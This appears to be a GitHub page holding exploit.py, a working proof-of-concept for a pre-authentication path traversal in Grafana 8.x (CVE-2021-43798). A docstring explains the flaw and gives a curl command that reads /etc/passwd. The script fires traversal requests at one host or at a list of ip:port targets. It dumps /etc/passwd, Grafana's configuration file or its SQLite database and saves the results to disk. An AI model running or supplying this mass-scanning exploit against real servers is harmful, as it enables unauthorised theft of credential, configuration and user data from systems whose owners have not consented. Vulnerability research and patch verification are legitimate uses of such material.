-
Notifications
You must be signed in to change notification settings - Fork 2
/
exploit.py
174 lines (133 loc) · 6.14 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
#!/usr/bin/env python3
"""
# CVE-2021-43798
Grafana 8.x Path Traversal (Pre-Auth)
All credits go to j0v and his tweet https://twitter.com/j0v0x0/status/1466845212626542607
## Disclaimer
This is for educational purposes only. I am not responsible for your actions. Use at your own discretion.
In good faith, I've held back releasing this PoC until either this vulnerability is public or a patch is available.
## Table of Content
* [Explanation](#Explanation) - Explaining the vulnerability
* [Attack Vectors](#Attack-Vectors) - List of attacks you can carry out
* [Exploit Script](#Exploit-Script) - Exploit script usage
## Explanation
I noticed a [tweet by j0v](https://twitter.com/j0v0x0/status/1466845212626542607) claiming to have found a Grafana path
traversal bug. Out of curiosity, I started looking at the Grafana source code. In the tweet, it was mentioned it was a
pre-auth bug. There are only a couple of public API endpoints in Grafana, and only one of those took a file path from
the user.
Grafana has a public API endpoint, `/public/plugins/:pluginId`, which allows you to view a plugin's assets. This works
by providing a valid `:pluginId` and then specifying the file path, such as `img/logo.png`. However, Grafana fails to
sanitize the user provided file path, leading to path traversal.
The directory being accessed is at `<grafana>/public/app/plugins/panel/<pluginId>`. On a standard Grafana installation,
the Grafana data directory is `/usr/share/grafana`. So by going back 8 directories, you can reach the filesystem root
directory.
HTTP Request:
```
GET - http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
```
Offending Code: https://github.com/grafana/grafana/blob/c80e7764d84d531fa56dca14d5b96cf0e7099c47/pkg/api/plugins.go#L284
**Note: This does not work in the browser (which automatically collapse the `../` in the path)**
It can be tested with curl by using the `--path-as-is` argument:
```
curl --path-as-is http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
```"""
import aiohttp
import asyncio
import argparse
import yarl
import re
from colorama import Fore, Back, Style, init
import logging
init(autoreset=True)
class Colors:
def red(self, data):
print(Fore.RED + data)
def blue(self, data):
print(Fore.BLUE + data)
def green(self, data):
print(Fore.GREEN + data)
def yellow(self, data):
print(Fore.YELLOW + data)
def check_res(text, file):
if file == 'passwd':
if re.findall(':x:0:0:', text):
return True
return False
elif file == 'defaults.ini':
if re.findall('##################### Grafana Configuration Defaults #####################', text):
return True
return False
elif file == 'grafana.db':
if re.findall('SQLite format', text):
return True
else:
return False
else:
print('Cannot check a file I do not know. Try /etc/passwd or disable -c')
async def retrieve(target):
# logging.basicConfig(filename='exploit.log', level=logging.INFO)
async with aiohttp.ClientSession() as session:
if args.dump_config:
url = yarl.URL(f'{target}' + '/public/plugins/alertlist/../../../../../conf/defaults.ini', encoded=True)
file = 'defaults.ini'
elif args.database:
url = yarl.URL(f'{target}' + '/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db', encoded=True)
file = 'grafana.db'
else:
file = 'passwd'
url = yarl.URL(f'{target}' + f'/public/plugins/alertlist/../../../../../../../../{args.target_file}', encoded=True)
print('URL: ' + url.name)
print('PATH: ' +url.path)
async with session.get(url
) as response:
print(response.url)
c.yellow(f"Status: {response.status}")
c.yellow(f"Content-type:{response.headers['content-type']}")
html = await response.text()
# soup = BeautifulSoup(html)
if response.status == 200:
if args.check_output:
if check_res(text=html, file=file):
c.red(f'SUCCESS: {target}')
print(html)
else:
c.red(f'SUCCESS: {target}')
print(html)
if args.write_file:
target = target.strip('https://')
with open(args.write_file + '/'+ target + '_' + file, 'w') as f:
f.write(html)
def main():
if args.target:
task = asyncio.ensure_future(retrieve(args.target))
loop.run_until_complete(asyncio.wait([task]))
else:
c.blue(f'Parsing {args.input_list}')
with open(args.input_list, 'r') as i:
i = i.readlines()
for line in i:
line = line.strip('\r\n')
url = line.format(i)
task = asyncio.ensure_future(retrieve(url))
tasks.append(task)
try:
loop.run_until_complete(asyncio.wait(tasks))
except Exception as fuck:
print('error:', fuck)
targets = []
tasks = []
cmds = []
loop = asyncio.get_event_loop()
c = Colors()
args = argparse.ArgumentParser()
args.add_argument('-l', '--list', dest='input_list', type=str, help='Input list of ip:port')
args.add_argument('-db', '--database', dest='database', action='store_true', help='Dump db')
args.add_argument('-cfg', '--config', dest='dump_config', action='store_true', help='Dump config')
args.add_argument('-c', '--check', dest='check_output', action='store_true', help='Enable output regex checking (Suppress false positives)')
args.add_argument('-t', '--target', dest='target', type=str, help='Single target')
args.add_argument('-f', '--file', dest='target_file', type=str, default='/etc/passwd', help='Remote target file')
args.add_argument('-w', '--write', dest='write_file', default=None, type=str, help='Directory to write files to.')
args.add_argument('-v', '--verbosity', dest='verbosity', action='count', help='Verbosity')
args = args.parse_args()
if __name__ == '__main__':
main()